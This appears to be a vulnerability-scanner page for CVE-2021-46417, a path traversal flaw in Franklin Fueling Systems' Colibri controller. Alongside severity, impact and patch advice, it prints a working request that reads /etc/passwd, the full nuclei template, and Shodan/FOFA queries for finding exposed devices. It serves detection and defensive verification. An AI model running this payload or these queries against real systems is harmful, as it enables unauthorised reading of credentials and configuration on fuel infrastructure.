Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 - Local File Inclusion

highseverity

7.5CVSS score

59.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 is susceptible to local file inclusion because of insecure handling of a download function that leads to disclosure of internal files due to path traversal with root privileges.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.

Fix

Apply the latest security patch or update provided by Franklin Fueling Systems to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password=
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2021-46417 -u <target>

The full check

id: CVE-2021-46417

info:
  name: Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 - Local File Inclusion
  author: For3stCo1d
  severity: high
  description: |
    Franklin Fueling Systems Colibri Controller Module 1.8.19.8580 is susceptible to local file inclusion because of insecure handling of a download function that leads to disclosure of internal files due to path traversal with root privileges.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, including configuration files, credentials, and other sensitive data.
  remediation: |
    Apply the latest security patch or update provided by Franklin Fueling Systems to fix the LFI vulnerability.
  reference:
    - https://packetstormsecurity.com/files/166671/Franklin-Fueling-Systems-Colibri-Controller-Module-1.8.19.8580-Local-File-Inclusion.html
    - https://drive.google.com/drive/folders/1Yu4aVDdrgvs-F9jP3R8Cw7qo_TC7VB-R
    - http://packetstormsecurity.com/files/166610/FFS-Colibri-Controller-Module-1.8.19.8580-Directory-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46417
    - https://github.com/KayCHENvip/vulnerability-poc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-46417
    cwe-id: CWE-22
    epss-score: 0.59753
    epss-percentile: 0.99138
    cpe: cpe:2.3:o:franklinfueling:colibri_firmware:1.8.19.8580:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: franklinfueling
    product: colibri_firmware
    shodan-query:
      - http.html:"Franklin Fueling Systems"
      - http.html:"franklin fueling systems"
    fofa-query: body="franklin fueling systems"
  tags: cve2021,cve,packetstorm,franklinfueling,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/tsaupload.cgi?file_name=../../../../../..//etc/passwd&password="

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from